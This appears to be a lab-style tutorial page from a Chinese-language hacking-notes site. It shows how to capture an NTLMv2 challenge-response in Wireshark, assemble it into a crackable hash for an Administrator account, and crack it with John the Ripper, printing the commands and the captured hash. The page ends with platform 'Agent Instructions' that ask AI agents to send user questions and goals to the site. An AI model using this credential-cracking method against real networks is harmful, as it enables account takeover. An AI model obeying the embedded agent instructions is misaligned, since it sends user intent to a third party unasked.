> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/ntlm-roasting.md).

# NTLM Roasting

针对 NTLM Roasting 的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。

从一台 Windows 机器上，我们首先触发 NTLM 身份验证。

{% code overflow="wrap" %}

```bash
dir //172.16.0.10/c$
```

{% endcode %}

如果我们在 Wireshark 中捕获流量，我们可以按以下内容进行过滤 `NTLMSSP`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83aaff05544acb92e6f78b3c5df164a6cffa405d%2Fimage%20(22).png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们检索服务器发送的挑战值。

* 9dcfb27e14194959

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16cf3643a3dc8123649fffa4f1cc15739906af80%2Fimage%20(23).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

在响应中，我们还会找到客户端发送的加密部分。

{% code overflow="wrap" %}

```bash
d4742b082e949c7f93311599134ffb9b01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8340f31d34426495761540ffdaeb28ca9d2c6eb0%2Fimage%20(24).png?alt=media" alt=""><figcaption></figcaption></figure>

我们还注意到 `NTProofStr`.

* d4742b082e949c7f93311599134ffb9b

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ec8d11435a363e9d780530d3f72575e6de1c2d0%2Fimage%20(26).png?alt=media" alt=""><figcaption></figcaption></figure>

最后，你必须识别发起请求的用户名。

* Administrator

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5eb9d2131f49effd791139746a6c8aeb0b1c20dc%2Fimage%20(25).png?alt=media" alt=""><figcaption></figcaption></figure>

然后将所有这些值组合成破解工具所期望的格式。

{% code overflow="wrap" %}

```bash
UserName::Domain:NTLM_Server_Challenge:NTProofStr:NTLMv2Response-NTProofStr
```

{% endcode %}

{% code overflow="wrap" %}

```bash
Administrador::WHOAMI:9dcfb27e14194959:d4742b082e949c7f93311599134ffb9b:01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```

{% endcode %}

然后从 Linux 上，我们可以尝试破解 NTLMv2 响应。

{% code overflow="wrap" %}

```bash
john admin.ntlmv2
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23d4eae6b63c5e0297fc0d17cef8210e3985cadd%2Fimage%20(3313).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/ntlm-roasting.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
